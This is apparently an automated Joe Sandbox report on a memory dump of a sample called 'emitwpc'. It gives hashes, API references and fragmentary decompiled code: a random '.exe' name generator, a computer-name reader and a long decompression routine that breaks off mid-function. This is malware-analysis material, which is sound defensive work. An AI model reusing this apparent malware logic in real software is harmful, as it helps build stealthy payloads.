Snapshot File: hcaresult_12_2_380000_emitwpc.jbxd

Similarity

API ID: DeleteFile_snwprintf
String ID:
API String ID: 366827715-0
Opcode ID: f85d04db999bfe6d55033003302df14de57de12cab8034d53c33c626581b4d7d
Instruction ID: 3f50784d4a08d99986167f94286c30f16e770854749760bd5e92aa0ffc320cf4
Opcode Fuzzy Hash: f85d04db999bfe6d55033003302df14de57de12cab8034d53c33c626581b4d7d
Instruction Fuzzy Hash: 651152B69001286BCB52B790CC49EEF727DEB84344F0405E6F656E7141DE318F854BA4

Uniqueness

Uniqueness Score: 2.12%

Function 0038CA89, Relevance: 6.0, APIs: 4, Instructions: 38synchronizationCOMMON

APIs

GetTickCount.KERNEL32 ref: 0038CA89
GetTickCount.KERNEL32(?,00000000), ref: 0038CA97
GetTickCount.KERNEL32(?,00000000), ref: 0038CAA8
WaitForSingleObject.KERNEL32(00000000), ref: 0038CAFC

Memory Dump Source

Source File: 0000000C.00000002.1433164359.00381000.00000020.sdmp, Offset: 00380000, based on PE: true

Associated: 0000000C.00000002.1433160246.00380000.00000002.sdmp
Associated: 0000000C.00000002.1433175069.0038F000.00000002.sdmp
Associated: 0000000C.00000002.1433179610.00390000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_380000_emitwpc.jbxd

Similarity

API ID: CountTick$ObjectSingleWait
String ID:
API String ID: 2051767920-0
Opcode ID: c2f2cefc268cb4c52b808506b8fa0628c5cf84cb7d3ca1e844a4e0d59f4a871e
Instruction ID: f45cc8bef15e7f1249436b3544ab7899c8eadb5cb99af91f406a455c17f213ce
Opcode Fuzzy Hash: c2f2cefc268cb4c52b808506b8fa0628c5cf84cb7d3ca1e844a4e0d59f4a871e
Instruction Fuzzy Hash: 120169B1A00204AFE713ABA0EC4EF6E3B6DEB45302F504027F107D21A0DB7A89429F20

Uniqueness

Uniqueness Score: 0.03%

Function 0038E12E, Relevance: 6.0, APIs: 4, Instructions: 32
COMMON

C-Code - Quality: 43%

			E0038E12E(void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				int _t16;
				void* _t20;
				void* _t25;
				void* _t27;

				asm("invalid");
				_t25 = L00381D10(__ecx, __edx, __edi, __esi);
				 *0x393344(_t27 - 0x428, 0x104, _t25, _t27 - 0x220);
				_t20 = _t25;
				L00381DB0(_t20);
				_push(_t27 - 0x14);
				_push( *(_t27 - 4));
				_push(_t20);
				if(L003820A0(_t27 - 0x428, __edi) != 0) {
					CloseHandle( *(_t27 - 0x14));
					CloseHandle( *(_t27 - 0x10));
				}
				_t16 = CloseHandle( *(_t27 - 4));
				return _t16;
			}

0x0038e12e
0x0038e135
0x0038e14b
0x0038e154
0x0038e156
0x0038e15e
0x0038e15f
0x0038e168
0x0038e173
0x0038e178
0x0038e181
0x0038e181
0x0038e18a
0x0038e194

APIs

_snwprintf.NTDLL ref: 0038E14B
CloseHandle.KERNEL32(?), ref: 0038E178
CloseHandle.KERNEL32(?), ref: 0038E181
CloseHandle.KERNEL32(?), ref: 0038E18A

Memory Dump Source

Source File: 0000000C.00000002.1433164359.00381000.00000020.sdmp, Offset: 00380000, based on PE: true

Associated: 0000000C.00000002.1433160246.00380000.00000002.sdmp
Associated: 0000000C.00000002.1433175069.0038F000.00000002.sdmp
Associated: 0000000C.00000002.1433179610.00390000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_380000_emitwpc.jbxd

Similarity

API ID: CloseHandle$_snwprintf
String ID:
API String ID: 2398838028-0
Opcode ID: bf5787ed06cd951342dcc444de4b86eaaa642624539a35c5e80ba0bed57e50bc
Instruction ID: 6020051c8d0c8ba92df68c5f8f09923604793205148c1b3ad2b0275ff7a09802
Opcode Fuzzy Hash: bf5787ed06cd951342dcc444de4b86eaaa642624539a35c5e80ba0bed57e50bc
Instruction Fuzzy Hash: 99F030B2A00118ABCF12BBA0DD49AFFB77DEF04314F500195F905A6061DE328F149BA5

Uniqueness

Uniqueness Score: 0.01%

Function 0038D92A, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60
COMMON

C-Code - Quality: 64%

			E0038D92A(DWORD* __eax, void* __ebx, char* __esi) {
				void* _t15;
				intOrPtr _t19;
				char* _t20;
				int _t23;
				char _t25;
				void* _t32;
				void* _t38;
				void* _t40;

				_t35 = __esi;
				 *(_t38 - 4) = 0x10;
				if(GetComputerNameW(_t38 - 0x34, __eax) == 0) {
					L13:
					 *(_t38 - 0x14) = 0x58;
					L14:
					goto 0x3a1bff;
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("invalid");
					_t15 = L00381C80(_t30, 0x14c, _t35);
					 *0x393350(0x394ee8, 0x104, _t15, _t38 - 0x14,  *0x3933ac);
					return L00381DB0(_t15);
				}
				_t32 = _t38 - 0x34;
				_t19 = E003813A0(_t32);
				_push(_t32);
				 *0x393308 = _t19;
				_t20 = L00381C80(0x391c00, 0x14c, __esi);
				_t40 = _t40 + 4;
				_t35 = _t20;
				_t23 = WideCharToMultiByte(0, 0x400, _t38 - 0x34, 0xffffffff, _t38 - 0x14, 0x10, _t35, 0);
				_t30 = _t35;
				L00381DB0(_t35);
				if((0 | _t23 > 0x00000000) == 0) {
					goto L13;
				}
				_t30 = _t38 - 0x14;
				if( *(_t38 - 0x14) == 0) {
					goto L14;
				}
				do {
					_t25 =  *_t30;
					if(_t25 < 0x30 || _t25 > 0x39) {
						if(_t25 < 0x61 || _t25 > 0x7a) {
							if(_t25 < 0x41 || _t25 > 0x5a) {
								 *_t30 = 0x58;
							}
						}
					}
					_t30 =  &(_t30[1]);
				} while ( *_t30 != 0);
				goto L14;
			}

0x0038d92a
0x0038d92a
0x0038d93e
0x0038d9c5
0x0038d9c5
0x0038d9cb
0x0038d9cb
0x0038d9d0
0x0038d9d1
0x0038d9d2
0x0038d9d3
0x0038d9d4
0x0038d9d6
0x0038d9f2
0x0038da06
0x0038da06
0x0038d945
0x0038d948
0x0038d94d
0x0038d953
0x0038d95d
0x0038d962
0x0038d965
0x0038d97d
0x0038d985
0x0038d98c
0x0038d994
0x00000000
0x00000000
0x0038d99a
0x0038d99d
0x00000000
0x00000000
0x0038d9a0
0x0038d9a0
0x0038d9a4
0x0038d9ac
0x0038d9b4
0x0038d9ba
0x0038d9ba
0x0038d9b4
0x0038d9ac
0x0038d9bd
0x0038d9be
0x00000000

APIs

GetComputerNameW.KERNEL32(?), ref: 0038D936
WideCharToMultiByte.KERNEL32(00000000,00000400,?,000000FF,?,00000010,00000000,00000000), ref: 0038D97D

Strings

X, xrefs: 0038D9C5

Memory Dump Source

Source File: 0000000C.00000002.1433164359.00381000.00000020.sdmp, Offset: 00380000, based on PE: true

Associated: 0000000C.00000002.1433160246.00380000.00000002.sdmp
Associated: 0000000C.00000002.1433175069.0038F000.00000002.sdmp
Associated: 0000000C.00000002.1433179610.00390000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_380000_emitwpc.jbxd

Similarity

API ID: ByteCharComputerMultiNameWide
String ID: X
API String ID: 4013585866-3081909835
Opcode ID: b99fc1b44328d53e47f75292d0b3d3c3d29e96495c87e907506564d8941d42cc
Instruction ID: 31915ecb55c3ea8ecb2f65609e9220eba57d6bb9aea69602bb61cc94c1b7124c
Opcode Fuzzy Hash: b99fc1b44328d53e47f75292d0b3d3c3d29e96495c87e907506564d8941d42cc
Instruction Fuzzy Hash: 261148B19813096AEB23F7A4DD85BEA3BAD9F03304F610096E141F90D1DB648E478726

Uniqueness

Uniqueness Score: 0.01%

Function 0038E000, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32
stringCOMMON

C-Code - Quality: 68%

			E0038E000(WCHAR* __ecx) {
				WCHAR* _t19;
				signed int _t23;
				signed int _t24;
				signed int _t25;
				void* _t28;

				_t19 = __ecx;
				 *0x393664(0, 0x23, 0, 0, __ecx);
				_t23 = lstrlenW(__ecx);
				 *((short*)(_t19 + _t23 * 2)) = 0x5c;
				_t24 = _t23 + 1;
				_t28 = (GetTickCount() & 0x0000000f) + 4;
				L003821E0(_t19 + _t24 * 2, _t28);
				_t25 = _t24 + _t28;
				 *((intOrPtr*)(_t19 + _t25 * 2)) = 0x65002e;
				 *((intOrPtr*)(_t19 + 4 + _t25 * 2)) = 0x650078;
				 *((short*)(_t19 + 8 + _t25 * 2)) = 0;
				return 0;
			}

0x0038e003
0x0038e00e
0x0038e01b
0x0038e022
0x0038e026
0x0038e035
0x0038e03a
0x0038e03f
0x0038e043
0x0038e04a
0x0038e052
0x0038e05a

APIs

lstrlenW.KERNEL32 ref: 0038E015
GetTickCount.KERNEL32 ref: 0038E027

Strings

x, xrefs: 0038E04A

Memory Dump Source

Source File: 0000000C.00000002.1433164359.00381000.00000020.sdmp, Offset: 00380000, based on PE: true

Associated: 0000000C.00000002.1433160246.00380000.00000002.sdmp
Associated: 0000000C.00000002.1433175069.0038F000.00000002.sdmp
Associated: 0000000C.00000002.1433179610.00390000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_380000_emitwpc.jbxd

Similarity

API ID: CountTicklstrlen
String ID: x
API String ID: 2992449761-2363233923
Opcode ID: 07989990887e14f743be4c900db9bfc35919234b411209ebc669df7ea8cd7190
Instruction ID: 448f9487ac4d872d563cd0117c93be8a27aa82b416a764c8283fd3d0738508a8
Opcode Fuzzy Hash: 07989990887e14f743be4c900db9bfc35919234b411209ebc669df7ea8cd7190
Instruction Fuzzy Hash: 77F020B76043047BE7222FA0DC88B063669EF40792F1400B2EA09EF396DBB1CD0483A0

Uniqueness

Uniqueness Score: 0.02%

Function 00385EE5, Relevance: 5.1, APIs: 4, Instructions: 82
COMMON

C-Code - Quality: 68%

			E00385EE5(void* __ebx, void __edi, signed int __esi) {
				signed int _t597;
				signed int _t599;
				void* _t600;
				signed int _t610;
				signed int* _t620;
				signed int _t623;
				signed int _t640;
				signed int _t642;
				signed int _t644;
				signed int _t652;
				signed int _t655;
				signed int _t657;
				signed int _t660;
				signed int _t666;
				signed int _t669;
				signed int _t671;
				void* _t673;
				signed int _t676;
				signed int _t680;
				signed int _t683;
				signed int _t684;
				signed int _t685;
				signed int _t690;
				unsigned int _t693;
				signed int _t694;
				signed int _t695;
				signed int _t699;
				signed int _t709;
				signed int _t714;
				signed int _t716;
				signed int _t719;
				signed int _t721;
				signed int _t722;
				intOrPtr _t734;
				intOrPtr _t735;
				intOrPtr _t736;
				signed int _t739;
				signed int _t743;
				void* _t749;
				signed int _t754;
				signed int _t756;
				signed int _t760;
				signed int _t764;
				signed int _t767;
				signed int _t771;
				void* _t776;
				signed int _t780;
				void* _t781;
				signed int _t786;
				void* _t787;
				void* _t788;
				signed int _t793;
				signed int _t794;
				void* _t796;
				signed int _t797;
				signed int _t804;
				signed int _t806;
				intOrPtr* _t808;
				void* _t809;
				signed int _t820;
				signed int _t822;
				intOrPtr _t824;
				signed char _t828;
				intOrPtr* _t830;
				void* _t831;
				signed int _t839;
				void* _t841;
				void* _t843;
				signed int _t845;
				intOrPtr _t846;
				signed int _t856;
				signed int _t859;
				void* _t860;
				void* _t861;
				void* _t862;
				void* _t863;
				void* _t864;
				void* _t865;
				void* _t866;
				void* _t867;
				signed char _t868;
				signed char _t871;
				intOrPtr _t873;
				signed int _t876;
				void* _t877;
				signed char _t879;
				signed int _t880;
				signed int _t881;
				signed char _t886;
				signed int _t888;
				void* _t889;
				void* _t890;
				signed int _t893;
				signed char _t894;
				intOrPtr _t896;
				intOrPtr _t898;
				void* _t901;
				signed char _t902;
				signed char _t903;
				void _t904;
				signed int _t908;
				signed char _t913;
				void* _t914;
				void* _t915;
				signed int _t918;
				void* _t923;
				signed int _t927;
				signed char _t931;
				signed int _t932;
				signed char _t935;
				signed int _t936;
				void* _t944;
				signed int _t959;
				unsigned int _t962;
				signed int _t963;
				signed int _t965;
				signed int _t969;
				signed int* _t970;
				signed char* _t975;
				void* _t976;
				void* _t981;
				signed int _t982;
				signed int _t983;
				signed int _t986;
				signed int _t987;
				signed int _t989;
				signed int _t991;
				signed int _t992;
				signed int _t995;
				signed int _t999;
				signed int _t1005;
				signed int _t1006;
				int _t1007;
				int _t1009;
				signed int _t1010;
				unsigned int _t1013;
				void* _t1017;
				intOrPtr _t1018;
				signed char _t1019;
				void _t1022;
				void* _t1024;
				signed int _t1025;
				void* _t1027;
				int _t1032;
				signed int _t1033;
				void* _t1035;
				unsigned int _t1036;
				signed int _t1037;
				void* _t1038;
				void* _t1040;
				signed int _t1042;
				signed int _t1043;
				unsigned int _t1045;
				signed int _t1046;
				unsigned int _t1048;
				signed int _t1049;
				signed char _t1057;
				void* _t1058;
				void* _t1060;
				void* _t1061;

				L0:
				while(1) {
					L0:
					_t1043 = __esi;
					_t1022 = __edi;
					_t841 = __ebx;
					_t596 = memset(__edi + 0x1b80, 0, ??);
					_t962 =  *(_t1058 - 4);
					_t1061 = _t1060 + 0xc;
					while(1) {
						L135:
						 *(_t1058 - 8) = _t893;
						__eflags = _t893 -  *((intOrPtr*)(_t1022 + 0x34));
						if(_t893 >=  *((intOrPtr*)(_t1022 + 0x34))) {
							break;
						}
						L136:
						__eflags = _t1043 - 3;
						if(_t1043 >= 3) {
							L139:
							_t927 = _t991 & 0x00000007;
							_t991 = _t991 >> 3;
							_t1043 = _t1043 - 3;
							 *(_t1058 - 4) = _t991;
							 *(_t1058 - 0x1c) = _t1043;
							_t596 =  *( *(_t1058 - 8) + 0x38fa24) & 0x000000ff;
							 *(_t596 + _t1022 + 0x1b80) = _t927;
							_t893 =  *(_t1058 - 8) + 1;
							continue;
						} else {
							while(1) {
								L137:
								__eflags = _t841 -  *(_t1058 - 0x20);
								if(_t841 >=  *(_t1058 - 0x20)) {
									break;
								}
								L138:
								_t596 = ( *_t841 & 0x000000ff) << _t1043;
								_t841 = _t841 + 1;
								_t991 = _t991 | _t596;
								 *(_t1058 - 0x18) = _t841;
								_t1043 = _t1043 + 8;
								 *(_t1058 - 4) = _t991;
								__eflags = _t1043 - 3;
								if(_t1043 < 3) {
									continue;
								} else {
									goto L139;
								}
								goto L295;
							}
							L249:
							 *_t1022 = 0xe;
							L285:
							__eflags =  *(_t1058 + 0x18) & 0x00000002;
							L286:
							L287:
							_t597 =  !=  ? 1 : _t596;
							 *(_t1058 - 0xc) = _t597;
							__eflags = _t597 - 1;
							if(_t597 != 1) {
								L288:
								__eflags = _t597 - 0xfffffffc;
								if(_t597 != 0xfffffffc) {
									L289:
									L292:
									_t642 =  *(_t1058 - 0x3c);
									__eflags = _t841 - _t642;
									if(_t841 > _t642) {
										while(1) {
											L293:
											__eflags = _t1043 - 8;
											if(_t1043 < 8) {
												goto L295;
											}
											L294:
											_t841 = _t841 - 1;
											_t1043 = _t1043 - 8;
											__eflags = _t841 - _t642;
											if(_t841 > _t642) {
												continue;
											}
											goto L295;
										}
									}
								}
							}
						}
						L295:
						_t963 =  *(_t1058 - 4);
						L296:
						 *(_t1022 + 4) = _t1043;
						asm("bts ecx, esi");
						__eflags = _t1043 - 0x20;
						_t599 =  >=  ? 0 : 0;
						_t856 = 0 ^ _t599;
						__eflags = _t1043 - 0x40;
						_t600 =  >=  ? _t856 : _t599;
						 *(_t1022 + 0x20) =  *(_t1058 - 0x28);
						_t965 =  *(_t1058 - 0x10) -  *(_t1058 + 0x10);
						__eflags =  *(_t1058 + 0x18) & 0x00000009;
						 *(_t1022 + 0x24) =  *(_t1058 - 8);
						 *(_t1022 + 0x28) =  *(_t1058 - 0x38);
						 *((intOrPtr*)(_t1022 + 0x3c)) =  *((intOrPtr*)(_t1058 - 0x48));
						 *(_t1022 + 0x38) = _t856 - 0x00000001 & _t963;
						 *(_t1058 - 0x10) = _t965;
						 *((intOrPtr*)( *((intOrPtr*)(_t1058 + 8)))) = _t841 -  *(_t1058 - 0x3c);
						_t843 =  *(_t1058 - 0xc);
						 *( *(_t1058 + 0x14)) = _t965;
						if(( *(_t1058 + 0x18) & 0x00000009) != 0) {
							L297:
							__eflags = _t843;
							if(_t843 >= 0) {
								L298:
								_t1045 =  *(_t1022 + 0x1c);
								_t859 = _t1045 & 0x0000ffff;
								_t610 = (0x5e6ea9af * _t965 >> 0x20 >> 0xb) * 0x15b0;
								_t1046 = _t1045 >> 0x10;
								 *(_t1058 - 0x3c) = _t1046;
								_t969 =  *(_t1058 - 0x10) - _t610;
								__eflags =  *(_t1058 - 0x10);
								 *(_t1058 - 0x34) = _t969;
								if( *(_t1058 - 0x10) != 0) {
									L299:
									_t845 = _t969;
									do {
										L300:
										_t970 = 0;
										 *(_t1058 + 0x14) = 0;
										__eflags = _t845 - 7;
										if(_t845 > 7) {
											L301:
											goto 0x3a15c6;
											asm("int3");
											asm("int3");
											asm("int3");
											L302:
											_t1024 = _t1022 - _t610;
											__eflags = _t1024;
											do {
												L303:
												_t970 =  &(_t970[2]);
												_t861 = _t859 + ( *_t610 & 0x000000ff);
												_t862 = _t861 + ( *( *(_t1058 + 0x10) + 1) & 0x000000ff);
												_t863 = _t862 + ( *( *(_t1058 + 0x10) + 2) & 0x000000ff);
												_t864 = _t863 + ( *( *(_t1058 + 0x10) + 3) & 0x000000ff);
												_t865 = _t864 + ( *( *(_t1058 + 0x10) + 4) & 0x000000ff);
												_t866 = _t865 + ( *( *(_t1058 + 0x10) + 5) & 0x000000ff);
												_t867 = _t866 + ( *( *(_t1058 + 0x10) + 6) & 0x000000ff);
												_t859 = _t867 + ( *( *(_t1058 + 0x10) + 7) & 0x000000ff);
												_t640 =  *(_t1058 + 0x10) + 8;
												_t1046 = _t1046 + _t861 + _t862 + _t863 + _t864 + _t865 + _t866 + _t867 + _t859;
												 *(_t1058 + 0x10) = _t640;
												__eflags = _t1024 + _t640 - _t845;
												_t610 =  *(_t1058 + 0x10);
											} while (_t1024 + _t640 < _t845);
											 *(_t1058 + 0x14) = _t970;
											 *(_t1058 - 0x3c) = _t1046;
										}
										L305:
										_t1022 = 0;
										 *((intOrPtr*)(_t1058 + 8)) = 0;
										__eflags = _t970 - _t845;
										if(_t970 < _t845) {
											L306:
											__eflags = _t845 - _t970 - 2;
											if(_t845 - _t970 >= 2) {
												L307:
												_t620 =  *(_t1058 + 0x14);
												_t1049 =  *(_t1058 + 0x10);
												_t846 = 0;
												_t981 = (_t845 - _t620 - 2 >> 1) + 1;
												__eflags = _t981;
												 *(_t1058 + 0x14) = _t620 + _t981 * 2;
												do {
													L308:
													_t860 = _t859 + ( *_t1049 & 0x000000ff);
													_t623 =  *(_t1049 + 1) & 0x000000ff;
													_t1022 = _t1022 + _t860;
													_t1049 = _t1049 + 2;
													_t859 = _t860 + _t623;
													_t846 = _t846 + _t859;
													_t981 = _t981 - 1;
													__eflags = _t981;
												} while (_t981 != 0);
												_t970 =  *(_t1058 + 0x14);
												 *(_t1058 + 0x10) = _t1049;
												_t1046 =  *(_t1058 - 0x3c);
												 *((intOrPtr*)(_t1058 + 8)) = _t846;
												_t845 =  *(_t1058 - 0x34);
											}
											L310:
											__eflags = _t970 - _t845;
											if(_t970 < _t845) {
												_t975 =  *(_t1058 + 0x10);
												_t859 = _t859 + ( *_t975 & 0x000000ff);
												_t1046 = _t1046 + _t859;
												_t976 =  &(_t975[1]);
												__eflags = _t976;
												 *(_t1058 + 0x10) = _t976;
											}
											L312:
											_t610 =  *((intOrPtr*)(_t1058 + 8)) + _t1022;
											_t1046 = _t1046 + _t610;
											__eflags = _t1046;
										}
										L313:
										L314:
										_t859 = _t859 + (_t610 * _t859 >> 0x20 >> 0xf) * 0xffff000f;
										_t610 = (0x80078071 * _t1046 >> 0x20 >> 0xf) * 0xffff000f;
										_t1046 = _t1046 + _t610;
										_t586 = _t1058 - 0x10;
										 *_t586 =  *(_t1058 - 0x10) - _t845;
										__eflags =  *_t586;
										_t845 = 0x15b0;
										 *(_t1058 - 0x3c) = _t1046;
										 *(_t1058 - 0x34) = 0x15b0;
									} while ( *_t586 != 0);
									goto 0x3a15ef;
									asm("int3");
								}
								L316:
								_t1048 = (_t1046 << 0x10) + _t859;
								 *(_t1022 + 0x1c) = _t1048;
								__eflags = _t843;
								if(_t843 == 0) {
									__eflags =  *(_t1058 + 0x18) & 0x00000001;
									if(( *(_t1058 + 0x18) & 0x00000001) != 0) {
										__eflags = _t1048 -  *(_t1022 + 0x10);
										_t843 =  !=  ? 0xfffffffe : _t843;
									}
								}
							}
						}
						L319:
						return _t843;
						L320:
					}
					L140:
					 *((intOrPtr*)(_t1022 + 0x34)) = 0x13;
					while(1) {
						L141:
						_t694 =  *(_t1022 + 0x18);
						__eflags = _t694;
						if(_t694 >= 0) {
							break;
						}
						L218:
						_t982 =  *(_t1058 - 4);
						while(1) {
							L39:
							_t879 =  *(_t1058 - 0x20) - _t841;
							__eflags = _t879 - 4;
							if(_t879 < 4) {
								goto L58;
							}
							L40:
							_t1022 =  *(_t1058 - 0x14);
							__eflags =  *((intOrPtr*)(_t1058 - 0x40)) -  *(_t1058 - 0x10) - 2;
							if( *((intOrPtr*)(_t1058 - 0x40)) -  *(_t1058 - 0x10) < 2) {
								goto L58;
							} else {
								L41:
								__eflags = _t1043 - 0xf;
								if(_t1043 < 0xf) {
									_t995 =  *(_t841 + 1) & 0x000000ff;
									_t879 = _t1043;
									_t722 =  *_t841 & 0x000000ff;
									_t841 = _t841 + 2;
									 *(_t1058 - 0x18) = _t841;
									 *(_t1058 - 4) =  *(_t1058 - 4) | (_t995 << 0x00000008 | _t722) << _t879;
									_t1043 = _t1043 + 0x10;
									__eflags = _t1043;
									_t982 =  *(_t1058 - 4);
								}
								_t596 =  *((short*)(_t1022 + 0x160 + (_t982 & 0x000003ff) * 2));
								 *(_t1058 - 8) = _t596;
								__eflags = _t596;
								if(_t596 < 0) {
									L45:
									goto 0x3a145c;
									asm("int3");
									asm("int3");
									asm("int3");
									do {
										L46:
										_t709 = _t982 >> _t879;
										_t879 = _t879 + 1;
										_t596 = (_t709 & 0x00000001) +  !_t841;
										_t841 =  *((short*)(_t1022 + 0x960 + _t596 * 2));
										__eflags = _t841;
									} while (_t841 < 0);
									 *(_t1058 - 8) = _t841;
									_t841 =  *(_t1058 - 0x18);
								} else {
									L44:
									_t879 = _t596 >> 9;
								}
								L48:
								_t962 = _t982 >> _t879;
								_t1043 = _t1043 - _t879;
								_t880 =  *(_t1058 - 8);
								 *(_t1058 - 4) = _t962;
								__eflags = _t880 & 0x00000100;
								if((_t880 & 0x00000100) != 0) {
									L84:
									_t881 = _t880 & 0x000001ff;
									 *(_t1058 - 8) = _t881;
									__eflags = _t881 - 0x100;
									if(_t881 != 0x100) {
										L219:
										_t673 = _t881 * 4 - 0x404;
										_t868 =  *(_t673 + 0x38f010);
										_t596 =  *(_t673 + 0x38fa48);
										 *(_t1058 - 0x38) = _t868;
										 *(_t1058 - 8) = _t596;
										__eflags = _t868;
										if(_t868 == 0) {
											L225:
											__eflags = _t1043 - 0xf;
											if(_t1043 >= 0xf) {
												L3:
												_t655 =  *((short*)(_t1022 + 0xf00 + (_t962 & 0x000003ff) * 2));
												 *(_t1058 - 0x1c) = _t655;
												if(_t655 < 0) {
													L5:
													goto 0x3a13e3;
													asm("int3");
													asm("int3");
													asm("int3");
													do {
														L7:
														_t657 = _t962 >> _t868;
														_t868 = _t868 + 1;
														_t841 =  *((short*)(_t1022 + 0x1700 + ((_t657 & 0x00000001) +  !_t841) * 2));
														__eflags = _t841;
													} while (_t841 < 0);
													 *(_t1058 - 0x1c) = _t841;
													_t841 =  *(_t1058 - 0x18);
													_t660 =  *(_t1058 - 0x1c);
												} else {
													L4:
													_t868 = _t655 >> 9;
													_t660 = _t655 & 0x000001ff;
												}
												L9:
												_t982 = _t962 >> _t868;
												_t1043 = _t1043 - _t868;
												_t871 =  *(0x38f090 + _t660 * 4);
												_t596 =  *(0x38f110 + _t660 * 4);
												 *(_t1058 - 4) = _t982;
												 *(_t1058 - 0x38) = _t871;
												 *(_t1058 - 0x28) = _t596;
												if(_t871 == 0) {
													L15:
													_t873 =  *(_t1058 - 0x10) -  *((intOrPtr*)(_t1058 + 0xc));
													 *((intOrPtr*)(_t1058 - 0x48)) = _t873;
													if(_t596 <= _t873 || ( *(_t1058 + 0x18) & 0x00000004) == 0) {
														L17:
														_t1022 =  *(_t1058 - 0x14);
														_t876 = (_t873 - _t596 &  *(_t1058 - 0x34)) +  *((intOrPtr*)(_t1058 + 0xc));
														 *(_t1058 - 0xc) = _t876;
														_t662 =  >  ?  *(_t1058 - 0x10) : _t876;
														_t877 =  *(_t1058 - 8);
														_t663 = ( >  ?  *(_t1058 - 0x10) : _t876) + _t877;
														_t1075 = ( >  ?  *(_t1058 - 0x10) : _t876) + _t877 -  *((intOrPtr*)(_t1058 - 0x40));
														if(( >  ?  *(_t1058 - 0x10) : _t876) + _t877 <=  *((intOrPtr*)(_t1058 - 0x40))) {
															L21:
															__eflags = _t877 - 9;
															if(_t877 < 9) {
																L30:
																goto 0x3a1420;
																asm("int3");
																do {
																	L32:
																	_t877 = _t877 - 3;
																	 *_t1022 =  *_t982 & 0x000000ff;
																	 *((char*)(_t1022 + 1)) =  *(_t982 + 1) & 0x000000ff;
																	_t666 =  *(_t982 + 2) & 0x000000ff;
																	_t982 = _t982 + 3;
																	 *(_t1022 + 2) = _t666;
																	_t1022 = _t1022 + 3;
																	__eflags = _t877 - 2;
																} while (_t877 > 2);
																goto L33;
															} else {
																L22:
																__eflags = _t877 -  *(_t1058 - 0x28);
																if(_t877 >  *(_t1058 - 0x28)) {
																	goto L30;
																} else {
																	L23:
																	_t1042 =  *(_t1058 - 0xc);
																	_t959 =  *(_t1058 - 0x10);
																	_t828 = (_t877 & 0xfffffff8) + _t1042;
																	 *(_t1058 - 0x24) = _t828;
																	_t1019 = _t828;
																	do {
																		L24:
																		 *_t959 =  *_t1042;
																		_t830 =  *((intOrPtr*)(_t1042 + 4));
																		_t1042 = _t1042 + 8;
																		 *((intOrPtr*)(_t959 + 4)) = _t830;
																		_t959 = _t959 + 8;
																		__eflags = _t1042 - _t1019;
																	} while (_t1042 < _t1019);
																	_t982 =  *(_t1058 - 4);
																	 *(_t1058 - 0x10) = _t959;
																	_t877 =  *(_t1058 - 8) & 0x00000007;
																	 *(_t1058 - 0xc) = _t1042;
																	_t1022 =  *(_t1058 - 0x14);
																	 *(_t1058 - 8) = _t877;
																	__eflags = _t877 - 3;
																	if(_t877 >= 3) {
																		goto L30;
																	} else {
																		goto L26;
																	}
																}
															}
															continue;
														} else {
															while(1) {
																L18:
																_t831 = _t877;
																_t877 = _t877 - 1;
																 *(_t1058 - 8) = _t877;
																if(_t831 == 0) {
																	goto L39;
																}
																L19:
																if( *(_t1058 - 0x10) >=  *((intOrPtr*)(_t1058 - 0x40))) {
																	L238:
																	 *(_t1058 - 0xc) = 2;
																	 *_t1022 = 0x35;
																	goto L292;
																} else {
																	L20:
																	 *(_t1058 - 0x10) =  *(_t1058 - 0x10) + 1;
																	 *((intOrPtr*)(_t1058 - 0x48)) =  *((intOrPtr*)(_t1058 - 0x48)) + 1;
																	 *( *(_t1058 - 0x10)) =  *((intOrPtr*)(( *((intOrPtr*)(_t1058 - 0x48)) -  *(_t1058 - 0x28) &  *(_t1058 - 0x34)) +  *((intOrPtr*)(_t1058 + 0xc))));
																	_t982 =  *(_t1058 - 4);
																	continue;
																}
																goto L295;
															}
															while(1) {
																L39:
																_t879 =  *(_t1058 - 0x20) - _t841;
																__eflags = _t879 - 4;
																if(_t879 < 4) {
																	goto L58;
																}
																goto L40;
															}
															goto L58;
														}
													} else {
														L270:
														_t684 = _t596 | 0xffffffff;
														 *_t1022 = 0x25;
														goto L291;
													}
												} else {
													L10:
													if(_t1043 >= _t871) {
														L13:
														_t1043 = _t1043 - _t871;
														_t839 = (_t596 << _t871) - 0x00000001 & _t982;
														_t982 = _t982 >> _t871;
														 *(_t1058 - 0x28) =  *(_t1058 - 0x28) + _t839;
														_t596 =  *(_t1058 - 0x28);
														 *(_t1058 - 4) = _t982;
														goto L15;
													} else {
														L11:
														while(_t841 <  *(_t1058 - 0x20)) {
															_t596 = ( *_t841 & 0x000000ff) << _t1043;
															_t841 = _t841 + 1;
															_t871 =  *(_t1058 - 0x38);
															_t982 = _t982 | _t596;
															_t1043 = _t1043 + 8;
															 *(_t1058 - 0x18) = _t841;
															 *(_t1058 - 4) = _t982;
															if(_t1043 < _t871) {
																continue;
															} else {
																goto L13;
															}
															goto L295;
														}
														 *_t1022 = 0x1b;
														goto L285;
													}
												}
											} else {
												L226:
												__eflags =  *(_t1058 - 0x20) - _t841 - 2;
												if( *(_t1058 - 0x20) - _t841 >= 2) {
													L237:
													_t983 =  *(_t841 + 1) & 0x000000ff;
													_t676 =  *_t841 & 0x000000ff;
													_t841 = _t841 + 2;
													_t1022 =  *(_t1058 - 0x14);
													_t868 = _t1043;
													 *(_t1058 - 0x18) = _t841;
													 *(_t1058 - 4) =  *(_t1058 - 4) | _t983 << _t1043 + 0x00000008 | _t676 << _t868;
													_t1043 = _t1043 + 0x10;
													_t962 =  *(_t1058 - 4);
												} else {
													do {
														L227:
														_t596 =  *((short*)(_t1022 + 0xf00 + (_t962 & 0x000003ff) * 2));
														 *(_t1058 - 0x24) = _t596;
														__eflags = _t596;
														if(_t596 < 0) {
															L231:
															__eflags = _t1043 - 0xa;
															if(_t1043 <= 0xa) {
																goto L1;
															} else {
																L232:
																L233:
																 *(_t1058 - 0x1c) = _t868;
																while(1) {
																	L234:
																	_t868 =  *((short*)(_t1022 + 0x1700 + ((_t962 >> _t868 & 0x00000001) +  !( *(_t1058 - 0x24))) * 2));
																	_t652 =  *(_t1058 - 0x1c) + 1;
																	 *(_t1058 - 0x24) = _t868;
																	 *(_t1058 - 0x1c) = _t652;
